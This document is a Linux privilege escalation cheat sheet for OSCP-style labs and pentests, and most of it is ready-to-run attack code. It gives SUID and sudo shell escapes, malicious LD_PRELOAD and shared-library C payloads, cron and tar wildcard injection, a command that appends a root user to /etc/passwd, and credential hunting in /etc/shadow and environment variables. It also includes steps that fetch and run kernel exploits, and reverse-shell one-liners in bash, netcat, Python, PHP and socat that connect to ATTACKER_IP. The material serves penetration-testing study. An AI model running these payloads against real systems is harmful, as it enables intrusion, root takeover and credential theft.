Overview

Linux privilege escalation is rarely about running one command and hoping for root. A reliable approach comes from working through the system in a sensible order: understand the host, understand the current user, check the fastest wins, and only then move into noisier or riskier techniques.

This reference is structured as a practical checklist for OSCP, HTB, Proving Grounds, and internal pentest-style labs. The goal is not to replace deeper enumeration, but to keep the common paths close at hand when you land on a Linux host and need to move from a low-privileged shell to root.

Start with the checks that most often lead to quick wins, then work toward the more situational or risky paths.

PhaseAreaWhy it matters
1System EnumerationOS and kernel details immediately shape exploit candidates.
2Current User & ContextGroups, sudo rights, and environment variables often reveal the first real path.
3SUID / SGID BinariesMisconfigured binaries can provide direct root shells through GTFOBins.
4sudo -lSudo misconfigurations are one of the fastest privilege escalation wins.
5Cron JobsWritable scripts executed by root can be trivial to abuse.
6World-Writable Files & PATHPATH hijacking, writable sensitive files, and library hijacking can be high impact.
7Running Processes & ServicesRoot-owned processes and writable service configs can expose escalation paths.
8Network EnumerationLocal-only services may expose admin panels, databases, or internal applications.
9Password HuntingConfigs, history files, and environment variables often leak credentials.
10Linux CapabilitiesDangerous capabilities such as cap_setuid+ep are easy to miss.
11NFS / Mounted Sharesno_root_squash can allow SUID payloads to be written from the attacker machine.
12Docker / ContainersDocker socket access or privileged containers can lead to host compromise.
13Kernel ExploitsNoisy and unstable; use only after cleaner paths fail.

System Enumeration

Start by identifying the distribution, kernel version, and architecture. This gives context for possible kernel vulnerabilities, package-specific issues, and architecture-dependent payloads.

cat /etc/os-release
cat /etc/issue
uname -a
uname -r
uname -m
arch
ls /etc/*-release
cat /etc/*-release

Automated Enumeration

Automated tools are useful because they quickly surface common issues and save time during labs. linPEAS is usually the first tool worth running, with pspy being especially useful when looking for cron jobs or recurring root processes.

curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
bash /tmp/LinEnum.sh
chmod +x /tmp/pspy64
/tmp/pspy64
bash les.sh

Treat red and yellow findings from linPEAS as high-priority leads, but still verify them manually before exploiting anything destructive.

Filesystem Enumeration

SUID, SGID, writable directories, and recently modified files are often the quickest route to something exploitable.

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm /6000 -type f -ls 2>/dev/null
find / -writable -type d 2>/dev/null | grep -v proc
find / -perm -0002 -type f 2>/dev/null | grep -v proc
find / -nouser -o -nogroup 2>/dev/null
find / -mmin -10 2>/dev/null | grep -v proc
find / \( -name '*.conf' -o -name '*.bak' \) 2>/dev/null

Current User & Context

Before chasing exploits, understand exactly who you are and what access you already have.

id
whoami
groups
sudo -l
sudo --version
env
printenv
cat ~/.bash_history 2>/dev/null
cat ~/.zsh_history 2>/dev/null
ls -la ~/.ssh/
cat ~/.ssh/authorized_keys 2>/dev/null
ls /var/mail/
cat /var/mail/$USER 2>/dev/null
cat /etc/passwd | cut -d: -f1
cat /etc/passwd | grep -vE 'nologin|false'
ls -la /home/
lastlog
last

Run sudo -l early. A single allowed command with weak restrictions can often become root without needing any further enumeration.


SUID and SGID Binaries

SUID binaries execute with the permissions of the file owner. If a root-owned binary with SUID set allows command execution, file write, or shell escape behaviour, it can often be abused directly.

Finding SUID Binaries

find / -perm -u=s -type f 2>/dev/null | xargs ls -la

A useful habit is to compare unusual SUID binaries against a known-good baseline for the distribution.

find / -perm -4000 2>/dev/null | diff - /tmp/baseline.txt

Common GTFOBins Escapes

Check every unusual SUID binary against GTFOBins. These examples assume the binary itself has the SUID bit set.

BinaryExample escape
bash./bash -p
findfind . -exec /bin/sh -p \; -quit
vim / vivim -c ':!/bin/sh'
python3python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
perlperl -e 'exec "/bin/sh";'
rubyruby -e 'exec "/bin/sh"'
awkawk 'BEGIN {system("/bin/sh")}'
less / moreRun the pager, then use !sh inside it.
envenv /bin/sh -p
cpcp /bin/bash /tmp/b && chmod +s /tmp/b && /tmp/b -p
nodenode -e 'require("child_process").spawn("/bin/sh",["-p"],{stdio:[0,1,2]})'
phpphp -r 'pcntl_exec("/bin/sh",["-p"]);'
tartar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
curl / wgetRead local files such as file:///etc/shadow if permissions allow it.
opensslUse it to read protected files where applicable.
stracestrace -o /dev/null /bin/sh -p

Sudo Misconfigurations

sudo -l shows what commands the current user can execute as another user, often root. When commands are allowed without a password, or environment variables are preserved unsafely, escalation may be immediate.

sudo -l
sudo -l patternExploit idea
(ALL) NOPASSWD: ALLsudo /bin/bash
(root) NOPASSWD: /usr/bin/findsudo find . -exec /bin/sh \; -quit
(root) NOPASSWD: /usr/bin/python*sudo python3 -c 'import os; os.system("/bin/bash")'
(root) NOPASSWD: /usr/bin/vimsudo vim -c ':!/bin/bash'
(root) NOPASSWD: /bin/chmodsudo chmod +s /bin/bash && bash -p
(root) NOPASSWD: /usr/bin/awksudo awk 'BEGIN {system("/bin/bash")}'
(root) NOPASSWD: /usr/bin/lesssudo less /etc/passwd, then !bash inside the pager.
(root) NOPASSWD: /usr/bin/teeAppend dangerous sudoers entries if file write is possible.

LD_PRELOAD Abuse

If sudo -l shows env_keep+=LD_PRELOAD, a malicious shared object can be loaded into an allowed sudo binary.

Create evil.c:

#include <stdio.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}

Compile it:

gcc -fPIC -shared -nostartfiles -o /tmp/pe.so evil.c

Run any allowed sudo binary with LD_PRELOAD set:

sudo LD_PRELOAD=/tmp/pe.so find

Cron Jobs

Cron jobs are valuable because scripts may run as root on a timer. If a root-executed script is writable, privilege escalation can be as simple as appending a command and waiting.

cat /etc/crontab
ls -la /etc/cron* /var/spool/cron/crontabs/ 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
crontab -l
grep -i cron /var/log/syslog | tail -20

Use pspy to watch for hidden jobs and recurring processes:

/tmp/pspy64

Writable Cron Script

If /opt/backup.sh runs as root and is writable:

echo 'chmod +s /bin/bash' >> /opt/backup.sh

Wait for cron to run, then execute:

bash -p

PATH Hijacking via Cron

If a cron job uses a relative command such as backup, and the cron PATH includes a writable directory first, create a malicious executable with the expected name.

echo '#!/bin/bash
chmod +s /bin/bash' > /tmp/backup
chmod +x /tmp/backup

After cron executes it:

bash -p

Wildcard Injection with tar

If cron runs a command like this:

tar czf /backup/arch.tar.gz /var/www/html/*

Create malicious filenames that tar interprets as options.

echo '' > '/var/www/html/--checkpoint=1'
echo '' > '/var/www/html/--checkpoint-action=exec=sh shell.sh'
echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /var/www/html/shell.sh

Writable Files and PATH Hijacking

Writable sensitive files, unsafe relative paths, and writable library paths can all lead to root if they are used by privileged processes.

Writable /etc/passwd

If /etc/passwd is writable, generate a password hash and append a root-equivalent user.

openssl passwd -1 -salt root hacked
echo 'root2:HASH_HERE:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2

Use hacked as the password if you generated the hash with the example command above.

PATH Hijacking in SUID Binaries

If a SUID binary calls another program without using the full path, place a malicious executable earlier in PATH.

echo '#!/bin/bash
/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
./vulnerable_suid_binary

Shared Library Hijacking

Check which libraries a binary loads.

ldd /usr/local/bin/suid_binary

If a library path is writable, place a malicious shared object there.

static void inject() __attribute__((constructor));
void inject() { system("chmod +s /bin/bash"); }

Compile the library:

gcc -shared -fPIC -o /writable/libevil.so evil.c

Running Processes and Services

Services can expose local ports, writable configuration files, or root-owned execution paths.

ps aux
ps -ef
ps aux | grep root
ss -tlnup
netstat -tlnup 2>/dev/null
lsof -u root 2>/dev/null | grep -v proc
ls /etc/systemd/system/
ls /lib/systemd/system/
find /etc/systemd /lib/systemd -writable 2>/dev/null
docker ps 2>/dev/null
lxc list 2>/dev/null
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null

Writable Systemd Service

If a service file such as /etc/systemd/system/vuln.service is writable, modify the ExecStart value to run a root command.

[Service]
ExecStart=/bin/bash -c 'chmod +s /bin/bash'

Reload and restart the service:

systemctl daemon-reload
systemctl restart vuln.service
bash -p

Network Enumeration

Once on a host, check for internal services that were not exposed externally. Local-only services can include databases, admin panels, development servers, or management APIs.

ip a
ifconfig -a
ip route
route -n
arp -a
cat /etc/resolv.conf
cat /etc/hosts
ss -tlnup | grep 127.0.0.1
iptables -L -n -v 2>/dev/null

Port Forwarding Internal Services

SSH reverse tunnel:

ssh -R 8080:127.0.0.1:8080 attacker@ATTACKER_IP

Chisel reverse tunnel:

./chisel server -p 9000 --reverse

On the target:

./chisel client ATTACKER_IP:9000 R:8080:127.0.0.1:8080

Password Hunting and Credentials

Credentials are often the link between low-privileged access and escalation. Search history files, environment variables, web configs, backups, and application directories.

cat ~/.bash_history ~/.zsh_history 2>/dev/null
cat /etc/shadow 2>/dev/null
find / -name 'id_rsa' -o -name 'id_ed25519' 2>/dev/null
grep -ri 'password\|passwd\|secret\|token' /etc/ 2>/dev/null | grep -v Binary
find /var/www -name '*.php' 2>/dev/null | xargs grep -i 'password' 2>/dev/null
find / -name 'wp-config.php' -o -name '.env' 2>/dev/null
strings /proc/*/environ 2>/dev/null | grep -i pass
env | grep -iE 'pass|key|token|secret'
find / -name '*.cred' -o -name '*.credentials' 2>/dev/null
find / -name '*.kdbx' -o -name '*.kdb' 2>/dev/null

If both /etc/passwd and /etc/shadow are readable, combine and crack them.

unshadow /etc/passwd /etc/shadow > h.txt
john h.txt --wordlist=rockyou.txt

Linux Capabilities

Linux capabilities can grant specific elevated privileges to binaries without setting SUID. Dangerous capabilities are often overlooked during enumeration.

getcap -r / 2>/dev/null
getcap /usr/bin/python3
CapabilityBinaryAbuse idea
cap_setuid+eppython3python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cap_setuid+epperlperl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'
cap_setuid+eprubyruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
cap_dac_read_searchpython3python3 -c 'print(open("/etc/shadow").read())'
cap_net_rawtcpdumptcpdump -i eth0 -w /tmp/cap.pcap
cap_fowneranyCan help change file ownership or permissions.
cap_sys_adminanyVery broad attack surface; investigate carefully.

NFS and no_root_squash

NFS exports with no_root_squash allow root on the attacker machine to write files as root on the share. This can be abused by copying a SUID bash binary to the mounted share.

Check exports locally:

cat /etc/exports

From the attacker machine, list exports:

showmount -e TARGET_IP

Mount the share:

mount -t nfs TARGET_IP:/share /tmp/nfs

If the export is configured with no_root_squash, copy a SUID bash binary as root on the attacker machine:

cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash

Then execute it on the target:

/share/bash -p

Docker and Container Escapes

First determine whether the shell is inside a container or whether the current user can interact with Docker.

cat /proc/1/cgroup | grep docker
ls /.dockerenv
ls -la /var/run/docker.sock
id | grep docker
mount | grep -vE 'tmpfs|cgroup'

Docker Socket Escape

If the Docker socket is writable, mount the host filesystem into a container and chroot into it.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Privileged Container Check

A container with broad capabilities may be privileged.

cat /proc/self/status | grep CapEff

A value such as 0000003fffffffff suggests a privileged container and should be investigated further.


Kernel Exploits

Kernel exploits are a last resort. They can crash the target, corrupt files, or behave unpredictably. Use them only when cleaner misconfigurations have been ruled out.

uname -a
searchsploit linux kernel DISTRO VERSION
CVENameAffectedNotes
CVE-2021-4034PwnKitpolkit pkexecReliable on many Debian, Ubuntu, and RHEL systems.
CVE-2021-3156Baron Sameditsudo < 1.9.5p2Check with sudo --version.
CVE-2022-0847DirtyPipeLinux 5.8 to 5.16.11Can overwrite read-only files.
CVE-2016-5195DirtyCowLinux 2.6.22 to 4.8.3Older and riskier; may corrupt memory.
CVE-2023-0386OverlayFSLinux < 6.2FUSE and OverlayFS capability escalation.
CVE-2019-13272ptrace scopeLinux < 5.1.17PTRACE_TRACEME privilege escalation.

PwnKit

which pkexec
git clone https://github.com/berdav/CVE-2021-4034 /tmp/pwnkit
cd /tmp/pwnkit
make
./cve-2021-4034

DirtyPipe

uname -r
wget https://haxx.in/files/dirtypipez.c -O /tmp/dp.c
gcc /tmp/dp.c -o /tmp/dp
/tmp/dp /usr/bin/su

Shells, Stabilisation and File Transfer

Privilege escalation often requires moving files, catching shells, or stabilising a limited TTY.

Reverse Shell One-Liners

Bash TCP reverse shell:

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Bash UDP reverse shell:

bash -i >& /dev/udp/ATTACKER_IP/4444 0>&1

Netcat with -e:

nc -e /bin/sh ATTACKER_IP 4444

Netcat without -e:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f

Python reverse shell:

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'

PHP reverse shell:

php -r '$s=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Socat full TTY shell:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

Shell Stabilisation

Python PTY method:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then press Ctrl+Z and run locally:

stty raw -echo; fg

Back in the shell:

export TERM=xterm
stty rows 50 cols 200

With rlwrap, start the listener like this before catching the shell:

rlwrap nc -lvnp 4444

File Transfer

Start a web server on the attacker machine:

python3 -m http.server 8080

Download with wget:

wget http://ATTACKER_IP:8080/file -O /tmp/file

Download with curl:

curl http://ATTACKER_IP:8080/file -o /tmp/file

Base64 transfer:

base64 -w0 file

Decode on the target:

echo 'STRING' | base64 -d > file

Netcat file transfer:

nc -lvnp 9999 > received_file
nc -q 0 ATTACKER_IP 9999 < file

SCP transfer:

scp user@target:/etc/shadow /tmp/shadow

Quick Reference

The fastest initial checks after landing on a Linux host are usually:

id
sudo -l
uname -a
cat /etc/os-release
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
ss -tlnup
cat ~/.bash_history 2>/dev/null
env | grep -iE 'pass|key|token|secret'

From there, choose the path based on evidence. Avoid jumping straight to kernel exploits unless the host has no cleaner misconfiguration to abuse.

Key Takeaways

Linux privilege escalation is about disciplined enumeration more than memorising individual exploits. Start with identity and sudo rights, then check high-impact filesystem issues such as SUID binaries, writable scripts, cron jobs, and capabilities. Credential hunting and local service enumeration often provide the next jump, while container escapes and kernel exploits should be reserved for situations where the evidence points clearly in that direction.